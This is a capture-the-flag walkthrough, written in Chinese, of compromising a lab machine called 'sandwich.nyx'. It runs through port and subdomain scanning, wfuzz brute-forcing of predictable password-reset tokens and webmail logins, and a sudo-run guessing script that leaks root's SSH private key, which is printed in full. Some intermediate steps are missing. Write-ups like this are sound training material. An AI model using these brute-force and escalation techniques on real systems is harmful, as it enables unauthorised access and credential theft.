❯ sudo arp-scan -l Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.131 08:00:27:81:b7:98 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f0:6f:4b VMware, Inc. ^C ❯ export ip=192.168.60.131 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Scanning ports faster than you can say 'SYN ACK' [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.131:22 Open 192.168.60.131:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-31 22:18 CST Initiating ARP Ping Scan at 22:18 Scanning 192.168.60.131 [1 port] Completed ARP Ping Scan at 22:18, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 22:18 Completed Parallel DNS resolution of 1 host. at 22:18, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 22:18 Scanning 192.168.60.131 [2 ports] Discovered open port 22/tcp on 192.168.60.131 Discovered open port 80/tcp on 192.168.60.131 Completed SYN Stealth Scan at 22:18, 0.04s elapsed (2 total ports) Nmap scan report for 192.168.60.131 Host is up, received arp-response (0.00070s latency). Scanned at 2025-03-31 22:18:08 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:81:B7:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
发现80端口开放，浏览器访问一下，编辑hosts，添加域名
1 2
❯ echo"$ip sandwich.nyx"|sudotee -a /etc/hosts 192.168.60.131 sandwich.nyx
❯ wfuzz -c -u "http://sandwich.nyx" -H "HOST:FUZZ.sandwich.nyx" -H "User-Agent:Mozilla/5.0" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://sandwich.nyx/ Total requests: 114441 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000005: 302 0 L 0 W 0 Ch "webmail - webmail"
❯ wfuzz -c -u "http://sandwich.nyx/resetpassword.php" -d "token=FUZZ&new_password=abc&confirm_password=abc" -H "User-Agent:Mozilla/5.0" -w dic.txt --hw 36 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://sandwich.nyx/resetpassword.php Total requests: 175351 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000105281: 200 15 L 41 W 408 Ch "a9b7b4e8-12ca-11f0-8069-08002781b798" 000175351: 200 15 L 41 W 408 Ch "a9b8c69e-12ca-11f0-8069-08002781b798" Total time: 281.8470 Processed Requests: 175351 Filtered Requests: 175349 Requests/sec.: 622.1493
❯ wfuzz -c -u "http://webmail.sandwich.nyx/login.php" -d "email=FUZZ%40sandwich.nyx&password=FUZ2Z" -H "User-Agent:Mozilla/5.0" -w user.txt -w 5000.txt --hw 59 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://webmail.sandwich.nyx/login.php Total requests: 25000 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000004752: 200 30 L 58 W 849 Ch "ll104567_9q" 000009752: 200 30 L 58 W 849 Ch "suraxddq_tw" 000014752: 200 30 L 58 W 849 Ch "xerosec_w5" 000019752: 200 30 L 58 W 849 Ch "j4ckie_x5" 000022901: 302 0 L 0 W 0 Ch "matthygd_x - qweasd" 000024752: 200 30 L 58 W 849 Ch "matthygd_x" Total time: 1461.657 Processed Requests: 25000 Filtered Requests: 24994 Requests/sec.: 17.10387
用户提权
从信箱中得到ssh连接密钥
matthygd_xy:tGCD9XIP03IHpSCDdoRu
尝试连接一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
❯ ssh matthygd_xy@$ip The authenticity of host '192.168.60.131 (192.168.60.131)' can't be established. ED25519 key fingerprint is SHA256:c8erXE4AHVkShqJ2nmaoh+8C3ZBq0gRr5iBxLnGVt9k. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.131' (ED25519) to the list of known hosts. [email protected]'s password: Linux sandwich 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Mar 30 19:35:02 2025 from 192.168.1.181 matthygd_xy@sandwich:~$ cat user.txt c158efefab9bfd356fa8e9ec3c440da1
chvt 切换终端
用户有sudo权限可以执行chvt
1 2 3 4 5 6
matthygd_xy@sandwich:~$ sudo -l Matching Defaults entries for matthygd_xy on sandwich: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User matthygd_xy may run the following commands on sandwich: (root) NOPASSWD: /bin/chvt
/bin/echo "Well, $NAME, I'm thinking of a number between 1 and $MAX." /bin/echo "You have $ATTEMPTS attempts to guess it."
ATTEMPTS_MADE=0
SECRET_FILE="/root/.ssh/id_rsa"
while [ $ATTEMPTS_MADE -lt $ATTEMPTS ]; do /bin/echo "Try to guess:" read GUESS
# Validate that the input is a valid number if ! [[ "$GUESS" =~ ^[0-9]+$ ]]; then /bin/echo "Please, enter a valid number." continue fi
ATTEMPTS_MADE=$((ATTEMPTS_MADE + 1))
if [ $GUESS -lt $NUMBER ]; then /bin/echo "Your guess is too low." elif [ $GUESS -gt $NUMBER ]; then /bin/echo "Your guess is too high." else break fi done
if [ $GUESS -eq $NUMBER ]; then /bin/echo "Good job, $NAME! You guessed my number in $ATTEMPTS_MADE attempts!" /bin/echo "Here's your reward:" /bin/cat "$SECRET_FILE" else /bin/echo "No, the number I was thinking of was $NUMBER." fi
(remote) ll104567@sandwich:/home/ll104567$ sudo /opt/game.sh Hello! What is your name? aaa Well, aaa, I'm thinking of a number between 1 and 2000000. You have 21 attempts to guess it. Try to guess: Your guess is too high. Try to guess: 8280 Your guess is too low. Try to guess: 8295 Your guess is too high. Try to guess: 8287 Your guess is too low. Try to guess: 8290 Your guess is too low. Try to guess: 8292 Your guess is too high. Try to guess: 8291 Good job, aaa! You guessed my number in 21 attempts! Here's your reward: -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----
(remote) ll104567@sandwich:/home/ll104567$ vi id_rsa (remote) ll104567@sandwich:/home/ll104567$ chmod 600 id_rsa (remote) ll104567@sandwich:/home/ll104567$ ssh [email protected] -i id_rsa The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. ED25519 key fingerprint is SHA256:c8erXE4AHVkShqJ2nmaoh+8C3ZBq0gRr5iBxLnGVt9k. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts. Linux sandwich 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Mar 30 20:14:35 2025 from 192.168.1.181 root@sandwich:~# id uid=0(root) gid=0(root) grupos=0(root) root@sandwich:~# cat root.txt a4e728e6ffc502beea7570a75348af44
